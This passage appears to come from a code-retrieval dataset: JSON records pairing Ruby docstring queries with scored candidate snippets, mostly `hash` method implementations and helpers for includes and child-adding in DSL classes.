"text": "def hash\n [from_country_code, from_postal_code, from_city_locality, from_state_province, to_country_code, to_postal_code, to_city_locality, to_state_province, weight, dimensions, confirmation, address_residential_indicator, ship_date].hash\n end",
"title": ""
}
] |
[
{
"docid": "08105588814074a5aed46dbb236c8d02",
"score": "0.791457",
"text": "def hash_code; Digest::SHA256.hexdigest(@attributes.values.join); end",
"title": ""
},
{
"docid": "706cbdb4c78e6b67e29589df0a4b1b5c",
"score": "0.73099273",
"text": "def attr_hash\n md5 = Digest::MD5.new\n # just hash it by name\n md5.update @name\n #\n # @attributes.each do |k,v|\n # md5.update \"#{k}:#{v.attr_hash}\"\n # end\n md5.hexdigest\n end",
"title": ""
},
{
"docid": "8ad8f536b4be5ea83ec2a972ee3d5592",
"score": "0.72587657",
"text": "def hash\n total = 17\n each_field do |fid, field_info|\n name = field_info[:name]\n value = self.send(name)\n total = (total * 37 + value.hash) & 0xffffffff\n end\n total\n end",
"title": ""
},
{
"docid": "ec68e4db3228ce9d9ce089f2401aef90",
"score": "0.7206873",
"text": "def attr_hash\n md5 = Digest::MD5.new\n @attributes.each do |k,v|\n md5.update \"#{k}:#{v.attr_hash}\"\n end\n md5.hexdigest\n end",
"title": ""
},
{
"docid": "44b88bc56b0ea48f2ab73e2f3d712526",
"score": "0.70994294",
"text": "def attr_hash\n md5 = Digest::MD5.new\n @ruby_types.each do |k,typ|\n md5.update typ.attr_hash\n end\n md5.hexdigest\n end",
"title": ""
},
{
"docid": "95ed967547f1ab19a41a714a9972a2c5",
"score": "0.70697373",
"text": "def hash\n strs = FIELDS.collect {|f| \"#{f}:#{send(f).inspect}\"}\n Digest::SHA256.hexdigest(strs.join(' '))\n end",
"title": ""
},
{
"docid": "55481f97eb0ef93fcebc191faf81107c",
"score": "0.6987905",
"text": "def hash\n h = 5381\n h = h * 33 + self.length\n each do |c|\n h = h * 33 + c.hash\n end\n h\n end",
"title": ""
},
{
"docid": "6938cc34537e4457ae5dd123375a97d6",
"score": "0.68441796",
"text": "def hash\n hash = 17\n hash = 37 * hash + @prob.hash\n hash = 37 * hash + @alias.hash\n hash = 37 * hash + @values.hash\n hash\n end",
"title": ""
},
{
"docid": "6babdb9869ffd11bc160cce305fb1d48",
"score": "0.67915756",
"text": "def hash\n hash_val = size\n return _attrs.size if Thread.detect_outermost_recursion self do\n _attrs.each { |var| hash_val ^= instance_variable_get(:\"@#{var}\").hash }\n end\n return hash_val\n end",
"title": ""
},
{
"docid": "b78a8c3fbbda0dc6b3ed59f810316f24",
"score": "0.67847186",
"text": "def hash(*) end",
"title": ""
},
{
"docid": "15ab111544bfee6d598c82c6a202f376",
"score": "0.6759885",
"text": "def hashfunc; end",
"title": ""
},
{
"docid": "48081c7ec008e749812e1497a2130418",
"score": "0.6707762",
"text": "def hash\n code = 17\n code = 37 * code\n self.instance_variables.each do |v|\n code += self.instance_variable_get(v).hash\n end\n code\n end",
"title": ""
},
{
"docid": "8d4aa21615eed2c9554deb6528b13ede",
"score": "0.67051935",
"text": "def hash\n attrs = attributes.dup\n attrs.delete_if {|key, value| [:created_at, :updated_at, :id].include?(key)}\n attrs.delete_if {|key, value| value.kind_of?(Base) }\n keys = attrs.keys.map{|sym| sym.to_s}.sort.join ''\n values = attrs.values.map{|sym| sym.to_s}.sort.join ''\n Digest::MD5.hexdigest(keys + values)\n end",
"title": ""
},
{
"docid": "d256edb415273d5591949554543bf11b",
"score": "0.6701888",
"text": "def hash\n attributes.values.reduce { |a, e| a.to_s + e.to_s }.hash\n end",
"title": ""
},
{
"docid": "c71589222d9983d1465d977cf7f0a818",
"score": "0.6669352",
"text": "def hash\n value = 0\n for row in @rows\n for e in row\n value ^= e.hash\n end\n end\n return value\n end",
"title": ""
},
{
"docid": "fff1d340d09abfeab4e4d4deafe3b442",
"score": "0.65652955",
"text": "def hash() ajd.hash end",
"title": ""
},
{
"docid": "a0723003eee4af505775c3ea17ef5f3b",
"score": "0.65597206",
"text": "def hash() @ajd.hash end",
"title": ""
},
{
"docid": "677fd2d39e8c45f7dfc6d65134122cb7",
"score": "0.6548127",
"text": "def hash\n\t\t\t\t[code, guid].hash\n\t\t\tend",
"title": ""
},
{
"docid": "a63c91b2e4a24e55caeec10e42dc422b",
"score": "0.6536589",
"text": "def hash\n return __hash__opal__ if RUBY_ENGINE == 'opal'\n class_hash = self.class.hash\n indexed_values = to_a.each_with_index\n value_hashes = indexed_values.map do |value, i|\n value_hash = value.equal?(self) ? class_hash : value.hash\n i+1 * value_hash\n end\n class_hash + value_hashes.sum\n end",
"title": ""
},
{
"docid": "9c5b5bb0c4bf1cad3aebbec2dda8bcc1",
"score": "0.650851",
"text": "def calc_hash(hashed_obj)\n Digest::SHA256.base64digest hashed_obj.to_s\n end",
"title": ""
},
{
"docid": "3401dd23feadd2dca281026caf05c8cc",
"score": "0.65080184",
"text": "def hash\n raise 'Score has zero value, there is no hash' if @suffixes.empty?\n @suffixes.reduce(prefix) do |pfx, suffix|\n OpenSSL::Digest.new('SHA256', \"#{pfx} #{suffix}\").hexdigest\n end\n end",
"title": ""
},
{
"docid": "b57595534585581dcad80e28672bbf0f",
"score": "0.6470199",
"text": "def hash\n @digest.hexdigest\n end",
"title": ""
},
{
"docid": "69a9eb2e2353c88799859edcad3ee8a0",
"score": "0.6462376",
"text": "def hash\n @hash ||= begin\n result = 17\n result = 31 * result + self.class.hash\n result = 31 * result + ord\n result.is_a?(Fixnum) ? result : result.hash\n end\n end",
"title": ""
},
{
"docid": "b02b0d102072c068a4ac051857d275d8",
"score": "0.643492",
"text": "def hash\n result = 0\n self.keys.each do |key|\n result += ALPHA.index(key).hash.abs + self[key].hash.abs\n end\n result\n end",
"title": ""
},
{
"docid": "8f97e73317cd71f4efbc229f285343ba",
"score": "0.64101475",
"text": "def hash_function\n @hash_function ||= 'sha256'\n end",
"title": ""
},
{
"docid": "a4e02373e766881204a59e8498b5ad36",
"score": "0.6401857",
"text": "def calc_hash( data )\n sha = Digest::SHA256.new\n sha.update( data )\n sha.hexdigest\nend",
"title": ""
},
{
"docid": "37409f9e9e269906d68ec00b11296a21",
"score": "0.63848263",
"text": "def hash\n HASH_CONSTANT * @x.hash * @y.hash\n end",
"title": ""
},
{
"docid": "226867762a59c5f604e4958d3c1a974d",
"score": "0.63827044",
"text": "def hash_value\n result = 0\n for i in 0..8 do\n result *= 3\n result += @state[i]\n end\n result\n end",
"title": ""
},
{
"docid": "f354d6cbab80376975c548c0d8495c25",
"score": "0.6369635",
"text": "def hash\n @digest = Digest::SHA256.new\n @digest.update @submitter\n @digest.update @period\n @digest.update @random\n return @digest.hexdigest\n end",
"title": ""
},
{
"docid": "57e30279992402331ca956276e706c28",
"score": "0.6361055",
"text": "def hash\n Util.irccase(self).hash\n end",
"title": ""
},
{
"docid": "39b15da071a5d18e77c7674f9a946414",
"score": "0.635671",
"text": "def hash\n @hash || calculate_hash!\n end",
"title": ""
},
{
"docid": "a6d4ffe0852cc4b4e0c9fa0baf0f841f",
"score": "0.6343274",
"text": "def hash\n self.inject(37){|memo,str| memo + 17*str.hash}\n end",
"title": ""
},
{
"docid": "0efc33cf18bcedff4c20f96e9d5d65c5",
"score": "0.633713",
"text": "def _calc_hash(value)\n value.hash\nend",
"title": ""
},
{
"docid": "97e18e1269b7aa0f008ee37a6d87004f",
"score": "0.6319418",
"text": "def hash # :nodoc:\n return (57 + @name.hash) * @type.hash\n end",
"title": ""
},
{
"docid": "34b2818d9e702b288a108c6515e67dbe",
"score": "0.62999785",
"text": "def hash\n super +\n @architecture.hash +\n @codename.hash +\n @distribution.hash +\n @family.hash +\n @kernel.hash +\n @version.hash\n end",
"title": ""
},
{
"docid": "dcd2d2a7b8b5351f882af58dc9101795",
"score": "0.62864375",
"text": "def hash\n @hash ||= _calculate_hash\n end",
"title": ""
},
{
"docid": "d57cbacd52ef2e4534221858d84aeadd",
"score": "0.628516",
"text": "def hash\n value = self.length\n self.each do |item|\n value = (value << 1) | (value < 0 ? 1 : 0)\n value ^= item.hash\n end\n\n return value\n end",
"title": ""
},
{
"docid": "dc2f70c0a194bb29adc02d10d4d74ce3",
"score": "0.62700063",
"text": "def calculate_hash(source_path)\n self.md5 = Digest::MD5.file(source_path).hexdigest\n end",
"title": ""
},
{
"docid": "1481881c7503fc92b7c4350f0f8f7814",
"score": "0.6260006",
"text": "def hash\n if not defined?(@cached_hash)\n # this is really a specialized version of the hash\n # builder. Code duplication? Yes. That big a deal? Not really.\n current_hash = 269\n @optional.each {\n |k,t|\n current_hash += 503 * ((431 + k.hash * 443) + t.hash * 443)\n }\n @require.each {\n |k,t|\n current_hash += 503 * ((497 + k.hash * 419) + t.hash * 419)\n }\n @cached_hash = current_hash\n end\n @cached_hash\n end",
"title": ""
},
{
"docid": "c74b013b64475e002799e6faa18e3841",
"score": "0.62559605",
"text": "def hash\n @bits.hash\n end",
"title": ""
},
{
"docid": "e08db0e8d8f06175397c0e3356ceab0f",
"score": "0.6252866",
"text": "def hash\n (self.x*self.y + self.z).abs.ceil\n end",
"title": ""
},
{
"docid": "4c33c11e43a05ec129d793d8921f5247",
"score": "0.62406325",
"text": "def define_hash\n define_method(:hash) do\n klass = self.class\n attrs = klass.comparison_attrs\n ([klass] + attrs.map { |attr| send(attr) }).hash\n end\n end",
"title": ""
},
{
"docid": "74913f0bfd7bc361489471b34f9ec8c0",
"score": "0.622862",
"text": "def hashes(name)\n digits = Digest::SHA1.hexdigest(name)\n \n (0..6).map do |i| \n digits[i*5,5].to_i(16) % FILTER_SIZE\n end\n end",
"title": ""
},
{
"docid": "ff7f2a6fa6dca9d9a76baf55582b7135",
"score": "0.62266326",
"text": "def build_hash_for(body)\n hasher = OpenSSL::Digest.new('sha256')\n hasher.hexdigest(body)\n end",
"title": ""
},
{
"docid": "694bd3f40ca7d40964f0fe7e5cb02bdf",
"score": "0.6221287",
"text": "def hash\n strs = []\n @data.each do |key, val|\n strs << \"#{key}:#{val}\"\n end\n \n return Digest::MD5.hexdigest(strs.join(\",\"))\n end",
"title": ""
},
{
"docid": "26fab0c477fbf1eaa413cec435e785b2",
"score": "0.62165993",
"text": "def hash\n 0\n end",
"title": ""
},
{
"docid": "a30d0436e65ea417acde925ec116bd81",
"score": "0.6200459",
"text": "def hash\n \"#{r}#{g}#{b}\".to_i\n end",
"title": ""
},
{
"docid": "818dfb991535496155f05f3aaf2ee71f",
"score": "0.61953914",
"text": "def hashes(data)\n m = @ba.size\n h = Digest::MD5.hexdigest(data.to_s).to_i(16)\n x = h % m\n h /= m\n y = h % m\n h /= m\n z = h % m\n [x] + 1.upto(@k - 1).collect do |i|\n x = (x + y) % m\n y = (y + z) % m\n x\n end\n end",
"title": ""
},
{
"docid": "0dbe2a68299399de67be9d62005975d7",
"score": "0.6193397",
"text": "def hash;0;end",
"title": ""
},
{
"docid": "da1ef4e12a36ac4c4dea1abaaaa01442",
"score": "0.6186627",
"text": "def hash\n (@w_cons.hash << 1) ^ (@l_cons.hash)\n end",
"title": ""
},
{
"docid": "40428d126b392ffa63fb6211fa8a7abe",
"score": "0.61641985",
"text": "def hash\n self.name.hash ^ self.quantity.hash\n end",
"title": ""
},
{
"docid": "ade7252bb75472492457acf34246a627",
"score": "0.6163741",
"text": "def hash\n p, q = 17, 37\n p = q * p + @type.hash\n p = q * p + @text.hash\n p = q * p + @scope.hash \n \n # bound the hash function by the TABLE_SIZE\n return (p % SymbolTable::TABLE_SIZE).to_i\n end",
"title": ""
},
{
"docid": "8a4c399d2f850a7a4f0b6b49022b5306",
"score": "0.6162648",
"text": "def hash\n @hash ||= attributes.hash\n end",
"title": ""
},
{
"docid": "27a979a095ad4d2ea547e0f70ee523b8",
"score": "0.6153602",
"text": "def hash(data)\n return @cryptoHlpr.hash(data);\n end",
"title": ""
},
{
"docid": "49ba1a71890db2ece4fc2f5b8fa7bfbd",
"score": "0.6148932",
"text": "def hash\n a = 0\n x = self\n while (x.is_a? Nydp::Pair)\n a = a + x.car.hash\n x = x.cdr\n end\n\n a + x.hash\n end",
"title": ""
},
{
"docid": "d0a318e82023fcd123ae6ecb01c98e5c",
"score": "0.61458766",
"text": "def hash\n [amount, currency_code].hash\n end",
"title": ""
},
{
"docid": "9df0e4212c3e7e4044bfc5a0b7827159",
"score": "0.6135497",
"text": "def hash\n fields.inject(0) do |hash, field|\n val = send(field.reader)\n hash ^= val.hash\n end\n end",
"title": ""
},
{
"docid": "ca9094ed78366cf05f9ee1f8157cf241",
"score": "0.61315036",
"text": "def calculate_hash(path)\n self.sha256 = Base64.urlsafe_encode64(Digest::SHA256.file(path).digest)\n end",
"title": ""
},
{
"docid": "c2d27642e27bfca3ffe38549f6aa7bad",
"score": "0.6122738",
"text": "def hash(obj)\n\th = Array.new(5){0};\n\n\tS.length.times do |i|\n\t\ttmp = 0\n\t\tmd5 = Digest::MD5.hexdigest(obj.to_s + S[i].to_s).unpack(\"B*\")\n\n\t\tmd5.to_s.each_char.with_index { |c, i|\n\t\t\tif c.to_i == 1 then\n\t\t\t \ttmp+=1\n\t\t\tend\n\t\t}\n\t\th[i] = (tmp + S[i]) % SIZE\n\tend\n\n\treturn h\nend",
"title": ""
},
{
"docid": "2d961b6e2140d06cbea083872286cb3a",
"score": "0.6106011",
"text": "def hash\n [c, cn, l, o, ou, st, alt_name].hash\n end",
"title": ""
},
{
"docid": "553adb68c66b5fd53bb111803a1522e7",
"score": "0.6105505",
"text": "def hash\n if @hash_value.nil?\n @hash_value = (name.hash * 53) ^ version.hash\n end\n @hash_value\n end",
"title": ""
},
{
"docid": "7928efc376f0faf1242c515eff8726be",
"score": "0.6101513",
"text": "def hash\n\t\treturn @hash if @hash && @frozen\n\t\t@hash = Digest::SHA2.digest(\"#{prev_hash}#{to_applied}\")[0,20]\n\tend",
"title": ""
},
{
"docid": "cfc6dc417597a326869f0520d2b7a33d",
"score": "0.60965824",
"text": "def hash\n id.hash ^ name.hash\n end",
"title": ""
},
{
"docid": "727b40f9aeaf16679278f4e7e7c6a588",
"score": "0.60937095",
"text": "def hash()\n #This is a stub, used for indexing\n end",
"title": ""
},
{
"docid": "727b40f9aeaf16679278f4e7e7c6a588",
"score": "0.60937095",
"text": "def hash()\n #This is a stub, used for indexing\n end",
"title": ""
},
{
"docid": "727b40f9aeaf16679278f4e7e7c6a588",
"score": "0.60922396",
"text": "def hash()\n #This is a stub, used for indexing\n end",
"title": ""
},
{
"docid": "66e7ebdc345bf94c9569cd44ad395546",
"score": "0.60905766",
"text": "def hash expr, algo = 'sha1'\n Expression.new(\"digest(#{expr}, '#{algo}')\", MM::DataType::TYPE_Binary, expr.is_mandatory, expr.is_array)\n end",
"title": ""
},
{
"docid": "ae1a628dcfbcd0df0510d0ce3bf0cde6",
"score": "0.60818595",
"text": "def hash=(_arg0); end",
"title": ""
},
{
"docid": "ae1a628dcfbcd0df0510d0ce3bf0cde6",
"score": "0.60818595",
"text": "def hash=(_arg0); end",
"title": ""
},
{
"docid": "ae1a628dcfbcd0df0510d0ce3bf0cde6",
"score": "0.60818595",
"text": "def hash=(_arg0); end",
"title": ""
},
{
"docid": "894795fad3b32518cf0703a24124af92",
"score": "0.6075113",
"text": "def hash(obj)\n obj = normalise(obj)\n indices = [Digest::SHA1, Digest::MD5].map do |hasher|\n hasher.digest(obj).unpack(\"N*\").reduce {|accum, n| (accum+n)%filter.length}\n end\n indices << Zlib::crc32(obj)\n pattern = empty_pattern(filter.length)\n indices.each {|index| pattern[index % filter.length ] = 1}\n pattern\n end",
"title": ""
},
{
"docid": "76bae4e708d6438223c6d05d0887eca4",
"score": "0.6067453",
"text": "def hash\n 1\n end",
"title": ""
},
{
"docid": "e5385afbbea601f0341f59fb5f186955",
"score": "0.6067202",
"text": "def hash(c: false)\n hashes = episodes.map{ |e| e.levels.map{ |l| l.hash(c: c) } }.flatten.compact\n return nil if hashes.size < 25\n work = 0.chr * 20\n 25.times.each{ |i|\n work = sha1(work + hashes[i], c: c)\n }\n work\n end",
"title": ""
},
{
"docid": "70e8e8129b7ac0d085db6fc9f1c925d8",
"score": "0.6062212",
"text": "def hash\n source.hash ^ (target.hash + 1)\n end",
"title": ""
},
{
"docid": "42c30805486259c5db0a4edf05c3e8d7",
"score": "0.6059452",
"text": "def hash\n result = 0\n @grid.each_with_index do |row, index|\n result += row.hash*((index+1))\n end\n result\n end",
"title": ""
},
{
"docid": "e45bf72e93ff7e4918f38aadaea715a8",
"score": "0.6053564",
"text": "def hash\n @cards.hash ^ @validator.hash\n end",
"title": ""
},
{
"docid": "8a12e998720d493bacf70b3981cb1e68",
"score": "0.60494065",
"text": "def calc_hash(line)\n string_hash = 0\n\n # convert each character to its UTF-8 value\n line.each_char do |x|\n string_hash += @stored_chars[x]\n end\n\n string_hash = string_hash % 65_536 # mod the string_hash for the final hash value\n string_hash.to_s(16) # convert line hash value to hex\n end",
"title": ""
},
{
"docid": "66d444cffb5f56cef1be39ac88b62b15",
"score": "0.6024324",
"text": "def hash\n self.class.identifying_role_names.map{|role_name|\n instance_variable_get(\"@#{role_name}\")\n }.inject(0) { |h,v|\n h ^= v.hash\n h\n }\n end",
"title": ""
},
{
"docid": "ef200ff818c310e9a179653879c9f2f1",
"score": "0.6020012",
"text": "def hash; end",
"title": ""
},
{
"docid": "ef200ff818c310e9a179653879c9f2f1",
"score": "0.6020012",
"text": "def hash; end",
"title": ""
},
{
"docid": "ef200ff818c310e9a179653879c9f2f1",
"score": "0.6020012",
"text": "def hash; end",
"title": ""
},
{
"docid": "ef200ff818c310e9a179653879c9f2f1",
"score": "0.6020012",
"text": "def hash; end",
"title": ""
},
{
"docid": "ef200ff818c310e9a179653879c9f2f1",
"score": "0.6020012",
"text": "def hash; end",
"title": ""
},
{
"docid": "ef200ff818c310e9a179653879c9f2f1",
"score": "0.6020012",
"text": "def hash; end",
"title": ""
},
{
"docid": "ef200ff818c310e9a179653879c9f2f1",
"score": "0.6020012",
"text": "def hash; end",
"title": ""
},
{
"docid": "ef200ff818c310e9a179653879c9f2f1",
"score": "0.6020012",
"text": "def hash; end",
"title": ""
},
{
"docid": "ef200ff818c310e9a179653879c9f2f1",
"score": "0.6020012",
"text": "def hash; end",
"title": ""
},
{
"docid": "ef200ff818c310e9a179653879c9f2f1",
"score": "0.6020012",
"text": "def hash; end",
"title": ""
},
{
"docid": "ef200ff818c310e9a179653879c9f2f1",
"score": "0.6020012",
"text": "def hash; end",
"title": ""
},
{
"docid": "ef200ff818c310e9a179653879c9f2f1",
"score": "0.6020012",
"text": "def hash; end",
"title": ""
},
{
"docid": "ef200ff818c310e9a179653879c9f2f1",
"score": "0.6020012",
"text": "def hash; end",
"title": ""
},
{
"docid": "ef200ff818c310e9a179653879c9f2f1",
"score": "0.6020012",
"text": "def hash; end",
"title": ""
},
{
"docid": "ef200ff818c310e9a179653879c9f2f1",
"score": "0.6020012",
"text": "def hash; end",
"title": ""
},
{
"docid": "ef200ff818c310e9a179653879c9f2f1",
"score": "0.6020012",
"text": "def hash; end",
"title": ""
},
{
"docid": "ef200ff818c310e9a179653879c9f2f1",
"score": "0.6020012",
"text": "def hash; end",
"title": ""
},
{
"docid": "ef200ff818c310e9a179653879c9f2f1",
"score": "0.6020012",
"text": "def hash; end",
"title": ""
},
{
"docid": "ef200ff818c310e9a179653879c9f2f1",
"score": "0.6020012",
"text": "def hash; end",
"title": ""
},
{
"docid": "ef200ff818c310e9a179653879c9f2f1",
"score": "0.6020012",
"text": "def hash; end",
"title": ""
},
{
"docid": "ef200ff818c310e9a179653879c9f2f1",
"score": "0.6020012",
"text": "def hash; end",
"title": ""
},
{
"docid": "ef200ff818c310e9a179653879c9f2f1",
"score": "0.6020012",
"text": "def hash; end",
"title": ""
},
{
"docid": "ef200ff818c310e9a179653879c9f2f1",
"score": "0.6020012",
"text": "def hash; end",
"title": ""
}
] |
368168dacbfa8c87fb61d827b1ebb91c
|
Lots of DSL extensions use these methods, so define them here so multiple classes can use them callseq: include_add include_add :child_getter Include a function to add to child list (optional argument) without need to ask for children include_add include_add :elements
|
[
{
"docid": "fd822bd94486ec56e590cbc797508710",
"score": "0.73518205",
"text": "def include_add(adder = :get_children)\n self.class_eval do\n define_method :add do |value|\n self.send(adder) << value\n end\n end\n end",
"title": ""
}
] |
[
{
"docid": "c2417ddcf2cb2c2c0d4188d1c0d4c98d",
"score": "0.6428462",
"text": "def add_child; end",
"title": ""
},
{
"docid": "4189278600fa8bc567b482907c5819df",
"score": "0.6371738",
"text": "def to_include\n children.map(&:build_include)\n end",
"title": ""
},
{
"docid": "e287395ba24e59b715b2f6294ab2d14e",
"score": "0.6304438",
"text": "def included(descendant); end",
"title": ""
},
{
"docid": "96e9f62c5986041d0d043ec51eedd8d8",
"score": "0.62052697",
"text": "def include(*args)\n @values[:include] += args\n self\n end",
"title": ""
},
{
"docid": "808e8018963da7b884c520050a7bcbbb",
"score": "0.61648774",
"text": "def serializable_add_includes(options = {})\n return unless include_associations = options.delete(:include)\n\n base_only_or_except = { :except => options[:except],\n :only => options[:only] }\n\n include_has_options = include_associations.is_a?(Hash)\n associations = include_has_options ? include_associations.keys : Array.wrap(include_associations)\n\n for association in associations\n records = if self.class.list?(association)\n send(association).to_a\n elsif self.class.reference?(association) || self.class.parent_reference?(association)\n send(association)\n end\n\n unless records.nil?\n association_options = include_has_options ? include_associations[association] : base_only_or_except\n opts = options.merge(association_options)\n yield(association, records, opts)\n end\n end\n\n options[:include] = include_associations\n end",
"title": ""
},
{
"docid": "9536e2c6a03bc205e03a13ada2cdfec3",
"score": "0.6152398",
"text": "def serializable_add_includes(options = {})\n return unless include_associations = options.delete(:include)\n\n base_only_or_except = { :except => options[:except],\n :only => options[:only] }\n\n include_has_options = include_associations.is_a?(Hash)\n associations = include_has_options ? include_associations.keys : Array.wrap(include_associations)\n\n for association in associations\n records = if self.class.list?(association)\n send(association).to_a\n elsif self.class.reference?(association) || self.class.parent_reference?(association)\n send(association)\n end\n\n unless records.nil?\n association_options = include_has_options ? include_associations[association] : base_only_or_except\n opts = options.merge(association_options)\n yield(association, records, opts)\n end\n end\n\n options[:include] = include_associations\n end",
"title": ""
},
{
"docid": "f7f6c39848962ae736ab86d867b14c32",
"score": "0.6131095",
"text": "def included(descendant)\n super\n\n descendant.module_eval do\n include Enumerable\n include Methods\n end\n end",
"title": ""
},
{
"docid": "d3dce72ea6d2b236c43d284d30eb4d33",
"score": "0.61219317",
"text": "def add_child(child); end",
"title": ""
},
{
"docid": "164bd5c9b1b0c88989aff7c476fbc0ec",
"score": "0.60738444",
"text": "def addInclude(*includes)\n @Includes.push *includes\n end",
"title": ""
},
{
"docid": "05d3e7caa1668e19f34f7cb24183b45a",
"score": "0.5974084",
"text": "def build_include\n leaf_node? ? name.to_sym : { name.to_sym => children.map(&:build_include) }\n end",
"title": ""
},
{
"docid": "1d09a966e90024ee02429f80f11303df",
"score": "0.59660286",
"text": "def include(*args)\n args.reverse!\n args.each do |m|\n m.append_features(self)\n m.included(self)\n end\n self\n end",
"title": ""
},
{
"docid": "b8d8f38ae9bfdc8317c101799521b5e3",
"score": "0.58957344",
"text": "def included(child_class); end",
"title": ""
},
{
"docid": "cf6047af1b95cbd9a20e40525dd6aa37",
"score": "0.58409846",
"text": "def serializable_add_includes(options = {})\n return unless include_associations = options.delete(:include)\n\n base_only_or_except = { :except => options[:except],\n :only => options[:only] }\n\n include_has_options = include_associations.is_a?(Hash)\n associations = include_has_options ? include_associations.keys : Array.wrap(include_associations)\n\n associations.each do |association|\n records = case self.class.reflect_on_association(association).macro\n when :has_many, :has_and_belongs_to_many\n send(association).to_a\n when :has_one, :belongs_to\n send(association)\n end\n\n if records\n association_options = include_has_options ? include_associations[association] : base_only_or_except\n opts = options.merge(association_options)\n yield(association, records, opts)\n end\n end\n\n options[:include] = include_associations\n end",
"title": ""
},
{
"docid": "5a0e803d853eef02f6b1d309f0b92366",
"score": "0.58183897",
"text": "def included(descendant)\n super\n descendant.extend ClassMethods\n end",
"title": ""
},
{
"docid": "5a0e803d853eef02f6b1d309f0b92366",
"score": "0.58183897",
"text": "def included(descendant)\n super\n descendant.extend ClassMethods\n end",
"title": ""
},
{
"docid": "5a0e803d853eef02f6b1d309f0b92366",
"score": "0.58183897",
"text": "def included(descendant)\n super\n descendant.extend ClassMethods\n end",
"title": ""
},
{
"docid": "5a0e803d853eef02f6b1d309f0b92366",
"score": "0.58183897",
"text": "def included(descendant)\n super\n descendant.extend ClassMethods\n end",
"title": ""
},
{
"docid": "5a0e803d853eef02f6b1d309f0b92366",
"score": "0.58183897",
"text": "def included(descendant)\n super\n descendant.extend ClassMethods\n end",
"title": ""
},
{
"docid": "5a0e803d853eef02f6b1d309f0b92366",
"score": "0.58176845",
"text": "def included(descendant)\n super\n descendant.extend ClassMethods\n end",
"title": ""
},
{
"docid": "a5925f338bdd88235211ba86e2a2ed24",
"score": "0.5796816",
"text": "def serializable_add_includes(options = {}) # :nodoc:\n return unless includes = options[:include]\n\n unless includes.is_a?(Hash)\n includes = Hash[Array(includes).flat_map { |n| n.is_a?(Hash) ? n.to_a : [[n, {}]] }]\n end\n\n includes.each do |association, opts|\n if records = send(association)\n yield association, records, opts\n end\n end\n end",
"title": ""
},
{
"docid": "63d55f2edc8c0c0999c7b4f30857ec27",
"score": "0.57959086",
"text": "def serializable_add_includes(options = {}) #:nodoc:\n return unless includes = options[:include]\n\n unless includes.is_a?(Hash)\n includes = Hash[Array(includes).flat_map { |n| n.is_a?(Hash) ? n.to_a : [[n, {}]] }]\n end\n\n includes.each do |association, opts|\n if records = send(association)\n yield association, records, opts\n end\n end\n end",
"title": ""
},
{
"docid": "f503ad9cf1371c247f827f40874c6dd5",
"score": "0.57882255",
"text": "def include( *args )\n includeSubobject( *args )\n end",
"title": ""
},
{
"docid": "46a33ef85448900e1292a7e3a40bacc0",
"score": "0.5769913",
"text": "def include_additions\n #the following looks like could have performance issues, but the tests don't take any longer to execute...\n potential_addition = Bewildr::ControlTypeAdditions.submodules.select {|mod| mod.name.bewildr_demodulize == \"#{@control_type.to_s.bewildr_classify}Additions\"}.first\n extend potential_addition unless potential_addition.nil?\n\n #non-standards - move this to another method in the near future\n extend Bewildr::ControlTypeAdditions::TextAdditions if @control_type == :hyperlink\n\n #add scrolling capability if relevant - TODO: this ugliness will be fixed later\n if @automation_element.get_supported_patterns.collect {|pattern| pattern.programmatic_name.to_s }.include?(\"ScrollPatternIdentifiers.Pattern\")\n extend Bewildr::ControlTypeAdditions::ScrollAdditions\n end\n end",
"title": ""
},
{
"docid": "380f8bba2193868ba21276fafbc764be",
"score": "0.5712503",
"text": "def include(*args)\n ensure_in_dsl!\n @role.parents += args\n end",
"title": ""
},
{
"docid": "c128974d6f477de7c718662574351ac2",
"score": "0.5702452",
"text": "def include; end",
"title": ""
},
{
"docid": "61186890be33ed6809bf4b7308b66674",
"score": "0.5690471",
"text": "def method_missing(method, *args, &block)\n if method.to_s =~ /^(.+)_includes\\?$/\n self.send($1.to_sym).include? *args.first\n else\n super\n end\n end",
"title": ""
},
{
"docid": "54219329d244ca789b41679341a331f6",
"score": "0.5677967",
"text": "def included(descendant)\n super\n descendant.extend ClassMethods\n end",
"title": ""
},
{
"docid": "54219329d244ca789b41679341a331f6",
"score": "0.5677967",
"text": "def included(descendant)\n super\n descendant.extend ClassMethods\n end",
"title": ""
},
{
"docid": "45cae7b0b8e11dacfed1ff506ef85dd9",
"score": "0.56692904",
"text": "def serializable_add_includes(options = T.unsafe(nil)); end",
"title": ""
},
{
"docid": "45cae7b0b8e11dacfed1ff506ef85dd9",
"score": "0.56692904",
"text": "def serializable_add_includes(options = T.unsafe(nil)); end",
"title": ""
},
{
"docid": "6b2827973cb698104a8c33575c356f0b",
"score": "0.566563",
"text": "def included(child_class)\n if !child_class.is_a?(Class)\n # In this case, it's been included into another interface.\n # This is how interface inheritance is implemented\n\n # We need this before we can call `own_interfaces`\n child_class.extend(Schema::Interface::DefinitionMethods)\n\n child_class.type_membership_class(self.type_membership_class)\n child_class.ancestors.reverse_each do |ancestor|\n if ancestor.const_defined?(:DefinitionMethods)\n child_class.extend(ancestor::DefinitionMethods)\n end\n end\n\n # Use an instance variable to tell whether it's been included previously or not;\n # You can't use constant detection because constants are brought into scope\n # by `include`, which has already happened at this point.\n if !child_class.instance_variable_defined?(:@_definition_methods)\n defn_methods_module = Module.new\n child_class.instance_variable_set(:@_definition_methods, defn_methods_module)\n child_class.const_set(:DefinitionMethods, defn_methods_module)\n child_class.extend(child_class::DefinitionMethods)\n end\n child_class.introspection(introspection)\n child_class.description(description)\n # If interfaces are mixed into each other, only define this class once\n if !child_class.const_defined?(:UnresolvedTypeError, false)\n add_unresolved_type_error(child_class)\n end\n elsif child_class < GraphQL::Schema::Object\n # This is being included into an object type, make sure it's using `implements(...)`\n backtrace_line = caller(0, 10).find { |line| line.include?(\"schema/member/has_interfaces.rb\") && line.include?(\"in `implements'\")}\n if !backtrace_line\n raise \"Attach interfaces using `implements(#{self})`, not `include(#{self})`\"\n end\n end\n\n super\n end",
"title": ""
},
{
"docid": "f8f1220c2dfb95bcacf8be650a40db4f",
"score": "0.56399614",
"text": "def method_missing(name, *arguments, &block)\n builder = DSL.lookup(name) { super }\n add(builder.build(*arguments, &block))\n end",
"title": ""
},
{
"docid": "0847f6a09e483e0aa914fe633b8ef60c",
"score": "0.5637903",
"text": "def add_child(t)\n raise NotImplementedError\n end",
"title": ""
},
{
"docid": "426b5511ff34326b48e1507de69f882e",
"score": "0.5637057",
"text": "def included(descendant)\n define_initializer(descendant)\n define_readers(descendant)\n define_equalizer(descendant)\n end",
"title": ""
},
{
"docid": "cd9e209d2aa159e1797d8a071941af40",
"score": "0.5627348",
